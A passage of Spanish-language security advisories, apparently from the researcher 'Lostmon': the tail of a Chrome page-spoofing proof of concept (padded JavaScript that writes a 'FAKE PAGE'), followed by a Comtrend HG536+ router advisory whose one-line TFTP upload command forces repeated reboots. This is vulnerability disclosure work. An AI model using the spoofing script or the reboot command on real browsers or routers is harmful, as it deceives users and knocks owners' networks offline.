20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20,')
a.document.write('<H1>FAKE PAGE<\h1>')
a.document.write('<title>test</title>')
a.stop ();
}
</script>
####################€nd#####################
thank to all Lostmon groups team
Thnx to estrella to be my ligth

atentamente:
Lostmon (lostmon@gmail.com)

-----------

thz Lost :-)

##############################
Google Chrome close() issue
Vendedor: http://www.google.com/chrome/ = artículo http://lostmon.blogspot.com/2009/07/google-chrome-close-issue.html
##############################


Versión Chrome: 2.0.172.33 (Oficial)
URL (es aplicable):
Otros navegadores probados:
Safari 4: OK
Firefox 3.x: OK
IE 7: OK
IE 8: OK

##########################################
Comtrend HG536+ poligon firmware tftp vulnerabilidad
URL del vendedor: www.comtrend.com
info: www.adslzone.net/firmware-adslzone-poligon.html
Avisado por: http://lostmon.blogspot.com/2009/06/comtrend-hg536-poligon-firmware-tftp.html
Aviso al vendedor: NO Exploit: lean la explicación
#########################################

##############
Historia
##############

Trata de una investigación ampliada en varias vulns =>

http://rootdev.blogspot.com/2009/04/vulnerabilidades-en-comtrend-hg536.html

y => http://www.securityfocus.com/bid/32975

poligon firmware tiene los mismos fallos.

#####################
Descripción del vendedor
Comtrend
#####################

El HG536+ es un 802.11g (54 Mbps) cableada e inalámbrico incluyendo Red de área local (WLAN) router ADSL. Cuatro 10/100 Base-T Ethernet proporcionan conectividad LAN cableada 802.11g integrada con un punto de acceso WLAN Wi-Fi para conectividad inalámbrica.

###################
Descripción Poligon firmware
ADSLZone
####################

Poligon ADSLzone procede de varios fabricantes de firmware y proveedores que utilizan Internet (Asus, U.S Robotics, Comm Net , Broadcom, Deutsche Telekom, Alice Italy, Pirelli (Italia), Bungury (Rusia) y Vodafone (Thailandia).

################
Vulnerabilidades
################

Este firmware tiene un error en el servicio TFTP, si han permitido que un usuario de acceso de LAN accediera al servidor tftp y/o el acceso de WAN, este router es propenso a una vulnerabilidad DoS.

en el archivo de configuración podemos buscar que permitió los servicios concretamente en esta línea =>

—————————————————
srvCtrlList ftp=”lan” http=”lan” icmp=”lan”
snmp=”disable” ssh=”disable” telnet=”lan” tftp=”lan”
—————————————————-

en este caso han permitido el acceso de LAN tftp

Bien, les mostraré cómo funciona esta vulnerabilidad:

Hay que crear un nuevo archivo html, por ejemplo; tweaking.html (este archivo existe en firmware Poligon pero puedes utilizar otras que tienes tu router concretamente en las carpetas de /webs).

vamos a tratar de subirlo a la máquina desde mi /webs

tftp-i 192.168.1.1 put c: \tweaking.html /webs

el archivo se carga mediante tftp y el servidor está configurado para reiniciar el router después de subir terminado.

Les hago la misma prueba de acceso a través de WAN y obtengo el mismo resultado; reiniciar el router …

Esto puede causar un DoS a un usuario, ya que un atacke puede obligar a reiniciar el router durante todo el tiempo al propietario del router.

###############
Versiones
###############

Comtrend HG536+ router en estos firmwares:

firmware Comtrend A101-302JAZ-C01_R05

firmware A101-302JAZ-C03_R14.A2pB021g.d15h

firmware Poligon, Release.0810b_1525 ADSLZONE v.1.10.08.11b (tftp issue)

#############
Solución
#############

No se dispone de ninguna solución por el momento, ya que por defecto este router está configurado para negar el acceso de conexiones WAN, sólo algo que señalar: este estilo de ataque se puede hacer en caso de que el usuario se encuentre dentro de la LAN o en caso de que el acceso sea de WAN para el servicio TFTP.

################# €nd #############

Thnx To Brink for test with me and for
his patience wen i reboot his router
Brinkxd@gmail.com
–
atentamente:
Lostmon (lostmon@gmail.com)

—

thz Lost